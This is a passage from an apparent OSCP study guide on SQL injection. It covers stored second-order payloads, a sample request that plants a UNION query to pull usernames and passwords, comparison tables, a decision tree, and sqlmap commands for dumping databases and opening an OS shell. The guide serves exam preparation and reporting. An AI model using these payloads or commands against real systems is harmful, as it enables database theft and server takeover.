"bio": "1' AND SLEEP(5)-- -"
}
# Store in a comment
POST /api/products/1/comments
{
"author": "test' UNION SELECT username,password FROM users-- -",
"content": "Great product!"
}
Step 3: Trigger Execution
Find endpoints that read and use the stored data in SQL queries:
# Admin panel that displays user profiles
GET /admin/users/42/profile
# Product page that displays comments
GET /products/1
# Search results that use stored search terms
GET /search?q=[stored_term]
# User notification system
GET /notifications
Step 4: Observe Effects
- Page returns unexpected data
- Response time increases (time-based)
- Error messages appear
- Multiple records returned instead of one
Second-Order SQLi Payloads
# Boolean-based stored payload
' OR '1'='1
# Union-based stored payload
' UNION SELECT username,password,3,4 FROM users-- -
# Time-based stored payload
' AND SLEEP(5)-- -
# Error-based stored payload
' AND ExtractValue(1,CONCAT(0x7e,(SELECT version())))-- -
# Authentication bypass stored payload
admin'--
' OR 1=1--
# Data exfiltration stored payload
' UNION SELECT GROUP_CONCAT(username,0x3a,password),2,3 FROM users-- -
Real-World Second-Order SQLi Scenario
Scenario: E-commerce application with user reviews
Phase 1: Store the Payload
POST /api/reviews HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=abc123
{
"product_id": 101,
"rating": 5,
"review": "Great product! ' UNION SELECT username,password,3,4,5 FROM users-- -",
"author": "Happy Customer"
}
Phase 2: Trigger Execution
The admin reviews management page queries:
SELECT review_id, review, rating, author FROM reviews WHERE product_id = 101
But the admin export feature uses:
SELECT * FROM reviews WHERE review LIKE '%[search_term]%'
When the admin searches for reviews containing the stored payload context, the UNION executes and returns usernames and passwords.
Phase 3: Alternative Trigger
The application’s “report review” feature:
INSERT INTO reports (review_content, reason) VALUES ('[stored_review]', 'spam')
If the report display page queries:
SELECT * FROM reports WHERE review_content = '[stored_review]'
The stored payload executes in this different context.
6. Comparison Table of All SQLi Types
| Type | Speed | Stealth | Difficulty | Reliability | When to Use |
|---|---|---|---|---|---|
| Error-Based | ⚡⚡⚡ Fast | 🔴 Low (errors visible) | ⭐ Easy | High | Errors are displayed to user |
| Union-Based | ⚡⚡⚡ Fast | 🟡 Medium | ⭐⭐ Moderate | High | Results are displayed on page |
| Boolean-Based | ⚡ Slow | 🟢 High | ⭐⭐⭐ Hard | Medium | TRUE/FALSE response difference exists |
| Time-Based | ⚡⚡ Very Slow | 🟢 High | ⭐⭐⭐ Hard | Medium | No observable response difference |
| OAST (DNS) | ⚡⚡ Moderate | 🟢 High | ⭐⭐⭐ Hard | Low-Medium | Outbound network access available |
| OAST (HTTP) | ⚡⚡ Moderate | 🟢 High | ⭐⭐⭐⭐ Very Hard | Low | Outbound HTTP access available |
| Second-Order | ⚡⚡ Moderate | 🟢 High | ⭐⭐⭐⭐ Very Hard | Variable | Payload stored and executed later |
Detailed Comparison
| Aspect | Error-Based | Union-Based | Boolean-Based | Time-Based | OAST | Second-Order |
|---|---|---|---|---|---|---|
| Data extraction | Direct via errors | Direct via UNION | Character-by-char | Character-by-char | Via external server | Depends on context |
| Automation friendly | ✅ Yes | ✅ Yes | ⚠️ Partial | ⚠️ Partial | ✅ Yes | ❌ No |
| WAF evasion | ❌ Hard | ⚠️ Moderate | ✅ Easier | ✅ Easier | ✅ Easiest | ✅ Easiest |
| OSCP frequency | High | Very High | High | Medium | Low | Medium |
| sqlmap support | ✅ Excellent | ✅ Excellent | ✅ Excellent | ✅ Excellent | ✅ Good | ⚠️ Limited |
| Manual exploitation | Easy | Moderate | Time-consuming | Very slow | Complex | Very complex |
7. Decision Tree for Choosing Attack Type
Start: SQL Injection Confirmed
│
├─ Does the application display database errors?
│ ├─ YES → Use Error-Based SQLi
│ │ └─ Fastest, easiest exploitation
│ │
│ └─ NO → Continue ↓
│
├─ Does the application display query results on the page?
│ ├─ YES → Use Union-Based SQLi
│ │ └─ Determine column count → Extract data
│ │
│ └─ NO → Continue ↓
│
├─ Does the response differ for TRUE vs FALSE conditions?
│ │ (Different content, size, status code)
│ │
│ ├─ YES → Use Boolean-Based Blind SQLi
│ │ └─ Binary search for character extraction
│ │
│ └─ NO → Continue ↓
│
├─ Can you detect response time differences?
│ │
│ ├─ YES → Use Time-Based Blind SQLi
│ │ └─ Conditional delays for extraction
│ │
│ └─ NO → Continue ↓
│
├─ Does the database server have outbound network access?
│ │
│ ├─ YES → Use Out-of-Band (OAST) SQLi
│ │ ├─ DNS exfiltration (easier)
│ │ └─ HTTP exfiltration (more data)
│ │
│ └─ NO → Continue ↓
│
└─ Is the input stored and used in a different query later?
├─ YES → Use Second-Order SQLi
│ └─ Store payload → Find execution point
│
└─ NO → SQLi may not be exploitable
└─ Try different parameters/contexts
Quick Reference Decision Matrix
| Response Shows | Use This Type |
|---|---|
| Database error messages | Error-Based |
| Query results on page | Union-Based |
| Content changes (TRUE/FALSE) | Boolean-Based |
| Response time changes | Time-Based |
| Outbound network possible | OAST |
| Input stored for later use | Second-Order |
| Multiple conditions apply | Try easiest first (Error → Union → Boolean → Time → OAST) |
8. OSCP Exam Tips
Most Common SQLi Types in OSCP
- Union-Based - Most frequently tested
- Boolean-Based Blind - Second most common
- Error-Based - Common in older/vulnerable apps
- Time-Based - Less common but appears
- Second-Order - Rare but possible in complex apps
- OAST - Very rare in OSCP
Essential Tools
| Tool | Purpose | Key Commands |
|---|---|---|
| sqlmap | Automated SQLi detection & exploitation | sqlmap -u "URL" --batch --dbs |
| Burp Suite | Manual testing & payload crafting | Repeater, Intruder, Collaborator |
| Manual testing | Understanding & bypassing WAFs | Hand-crafted payloads |
sqlmap Quick Reference
# Basic detection
sqlmap -u "http://target/page.php?id=1" --batch
# Enumerate databases
sqlmap -u "http://target/page.php?id=1" --batch --dbs
# Enumerate tables in a database
sqlmap -u "http://target/page.php?id=1" -D database_name --batch --tables
# Dump specific table
sqlmap -u "http://target/page.php?id=1" -D database_name -T users --batch --dump
# Dump specific columns
sqlmap -u "http://target/page.php?id=1" -D database_name -T users -C username,password --batch --dump
# Force technique
sqlmap -u "http://target/page.php?id=1" --batch --technique=B # Boolean
sqlmap -u "http://target/page.php?id=1" --batch --technique=T # Time
sqlmap -u "http://target/page.php?id=1" --batch --technique=U # Union
sqlmap -u "http://target/page.php?id=1" --batch --technique=E # Error
# OS shell (if possible)
sqlmap -u "http://target/page.php?id=1" --batch --os-shell
# Dump all databases
sqlmap -u "http://target/page.php?id=1" --batch --dump-all
# Use delay for rate limiting
sqlmap -u "http://target/page.php?id=1" --batch --delay=2 --time-sec=5
# Skip discovery, go straight to dumping
sqlmap -u "http://target/page.php?id=1" -D db -T table --batch --dump --skip-wildcards
Common OSCP SQLi Vulnerable Parameters
idin URL:?id=1,?page=1,?product=1searchfields:?search=',?q='loginforms: username/password fieldssortparameters:?sort=namecategoryfilters:?cat=1cookievalues:Cookie: id=1POSTdata: form submissionsHTTP headers: User-Agent, Referer, X-Forwarded-For
SQLi Prevention Checklist (for Reporting)
When documenting SQLi findings:
- Vulnerable parameter identified
- Injection type confirmed (Error/Union/Boolean/Time/OAST)
- Database type identified
- Extracted data demonstrated (tables, columns, data)
- Impact assessed (data breach, authentication bypass, RCE)
- Remediation recommended (parameterized queries, input validation, WAF)
Key Reminders for OSCP
- Always try manual exploitation first before sqlmap (shows understanding)
- Document every step with screenshots and payloads
- Note the database type - payloads differ significantly
- Try all common parameters - SQLi can be in unexpected places
- Union-Based is your friend - fastest data extraction when available
- Boolean binary search is the most efficient manual blind technique
- sqlmap is allowed - use it to confirm and automate after manual discovery
- Check for stacked queries (
;) - some apps allow multiple statements - Try authentication bypass first (
' OR '1'='1'--) - quick win if it works
Last Updated: 2026-09-01 | OSCP Study Guide - Chapter 7: SQL Injection Types